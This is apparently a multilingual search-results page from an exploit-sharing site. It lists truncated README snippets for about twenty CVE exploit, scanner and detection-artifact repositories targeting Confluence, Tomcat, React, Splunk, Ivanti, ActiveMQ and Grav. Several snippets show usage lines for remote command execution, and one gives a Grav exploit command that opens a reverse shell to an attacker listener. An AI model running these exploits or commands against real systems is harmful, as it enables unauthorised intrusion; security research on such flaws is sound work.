988772 matches found
CVE-2022-26134
CVE-2022-26134 - Confluence OGNL injection vulnerability Uso dello script Installare le librerie Python pip install -r requirements.txt Verifica della vulnerabilità python3 CVE-2022-26134check.py -u url -c whoami Scansione batch python3 CVE-2022-26134check.py -f url.txt -c whoami Versioni...
cve-2025-24813-poc
CVE-2025-24813 Exploit PoC per RCE su Apache Tomcat Questo repository contiene un exploit proof-of-concept per CVE-2025-24813, una vulnerabilità di deserializzazione Java in Apache Tomcat. Basato su absholi7ly/POC-CVE-2025-24813/. Prerequisiti Docker Configurazione 1. Installa le dipendenze:...
cve-2025-55182-scanner
CVE-2025-55182 / CVE-2025-66478 Scanner di Vulnerabilità Strumento di Rilevamento di Esecuzione di Codice Remoto nel Protocollo Flight di React Server Components Riepilogo Esecutivo Questo scanner identifica i sistemi potenzialmente vulnerabili a CVE-2025-55182 React e CVE-2025-66478 Next.js,...
watchTowr-vs-Check-Point-CVE-2026-50751
CVE-2026-50751 Un Generatore di Artefatti di Rilevamento per il bypass dell'autenticazione tramite certificato IKEv1 di Check Point Remote Access VPN. https://github.com/user-attachments/assets/1280c545-364e-42d1-94ac-5b2cd850d14e Vedi il nostro post sul blog per i dettagli tecnici. Rilevamento i...
watchTowr-vs-Splunk-CVE-2026-20253
CVE-2026-20253 RCE pre-autenticazione Splunk Strumento generatore di artefatti di rilevamento per 1day RCE pre-autenticazione Splunk Rilevamento in azione Il generatore di artefatti di rilevamento tenta di accedere all'endpoint /v1/postgres/recovery/backup del servizio PostgreSQL Sidecar per...
watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523
CVE-2026-10520 e CVE-2026-10523 Un generatore di artefatti di rilevamento per il bypass dell'autenticazione e l'esecuzione remota di codice di Ivanti Sentry. Vedi il nostro post sul blog per i dettagli tecnici. Rilevamento in Azione root@kitploit: $ python3...
CVE-2026-48907
CVE-2026-48907 CVE-2026-48907 est une vulnérabilité critique de contrôle d'accès inadéquat dans l'extension JCE Editor pour Joomla. Elle permet à des attaquants non authentifiés de créer de nouveaux profils d'éditeur, ce qui peut finalement conduire à un téléchargement arbitraire de fichiers PHP ...
CVE-2024-53900
CVE-2024-53900 - Mongoose populate.match $where RCE Questa repository fornisce un ambiente vulnerabile riproducibile e un PoC per CVE-2024-53900 , una vulnerabilità critica di Remote Code Execution RCE in Mongoose 8.8.3. 📌 Dettagli della vulnerabilità CVE : CVE-2024-53900 Versioni affette :...
cve-2018-15473
CVE-2018-15473: Enumerazione degli Username OpenSSH OpenSSH fino alla versione 7.7 permette ad attaccanti remoti di enumerare username validi inviando richieste di autenticazione malformate e osservando le risposte differenziali del server. Dettagli Campo| Valore ---|--- Software Affetto| OpenSSH...
watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260
CVE-2025-71257 e CVE-2025-71260 Catena di Esecuzione Remota di Codice Pre-Autenticata su BMC FootPrints Strumento Generatore di Artefatti di Rilevamento per la Catena di Esecuzione Remota di Codice Pre-Autenticata su BMC FootPrints Descrizione Questo generatore di artefatti di rilevamento verific...
CVE-2025-55182-in-go
CVE-2025-55182 — React Server Components RCE Exploit für RCE in React Server Components via Prototype Pollution. Verwendung root@kitploit: go run main.go -t -c Beispiele root@kitploit: go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.go -t...
CVE-2023-22527
CVE-2023-22527 - Atlassian Confluence: Esecuzione di codice in remoto Panoramica CVE-2023-22527 è una vulnerabilità critica di esecuzione di codice in remoto in Atlassian Confluence Data Center e Server. Questa vulnerabilità consente ad attaccanti non autenticati di eseguire codice arbitrario sul...
CVE-2021-22204
ExifTool रिमोट कोड निष्पादन भेद्यता यह CVE-2021-22204 का विश्लेषण लेख होना चाहिए था, लेकिन यह मेरी ड्राफ्ट नोटबुक की तरह है, जो बहुत सारी अव्यवस्थित चीजों से भरी हुई है। भेद्यता विश्लेषण लेख के लिए यह कुछ हद तक अनावश्यक लगता है, लेकिन इसने मुझे बहुत कुछ सिखाया। सच कहूँ तो, मैंने कभी इस उपकरण का...
ActiveMQ-cve-2026-42588-scanner-gui
ActiveMQ-cve-2026-42588-scanner-gui 【Exploração com VPS recomendado para usuários com VPS】 1. Insira o IP público do VPS e a porta de escuta ex: 9999 2. Insira o comando a ser executado ex: touch /tmp/cvepwned 3. Clique em 【Gerar comando VPS】→ Clique em 【Copiar comando】 4. Faça login SSH no VPS,...
CVE-2024-12877-Exploit
GO-TO CVE – CVE-2024-12877-Exploit सप्ताह 66 | लेखक: Ali Soltani soltanali0 GO-TO CVE श्रृंखला के सप्ताह 66 में आपका स्वागत है, जहाँ हम कमजोरियों का विश्लेषण करते हैं, मूल कारणों की जाँच करते हैं, और एक सुरक्षित, शैक्षिक संदर्भ में व्यावहारिक शोषण तकनीकों का प्रदर्शन करते हैं। 🚨 अवलोकन...
CVE-2018-11776-FIS
CVE-2018-11776 è una vulnerabilità di sicurezza in Apache Struts, un framework popolare per lo sviluppo di applicazioni web. Questa vulnerabilità consente agli aggressori di effettuare attacchi remoti tramite l'iniezione di codice malevolo nei campi dati delle richieste HTTP. Questa vulnerabilità...
CVE-2025-55182POC
CVE-2025-55182 React Server Components RCE POC यह प्रोजेक्ट CVE-2025-55182 - React Server Components RSC RCE Proof of Concept है, जो दर्शाता है कि विशिष्ट परिस्थितियों में vm.runInThisContext और दुर्भावनापूर्ण ACTION payload के माध्यम से रिमोट कोड एक्ज़ीक्यूशन RCE ट्रिगर किया जा सकता है। Python...
CVE-2025-69219
CVE-2025-69219 — Apache Airflow Providers HTTP RCE tramite deserializzazione Pickle non sicura Gravità: Alta CVSS 3.1: 8.8 Vettore: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE: CWE-913 — Controllo improprio delle risorse di codice dinamicamente gestite Interessati: apache-airflow-providers-http =...
CVE-2021-21425-RCE
questa è la mia versione, ne ho trovate molte in internet ma sono troppo scadenti UTILIZZO root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 aspetta.. per 60 secondi otterrai una shell sul tuo listener...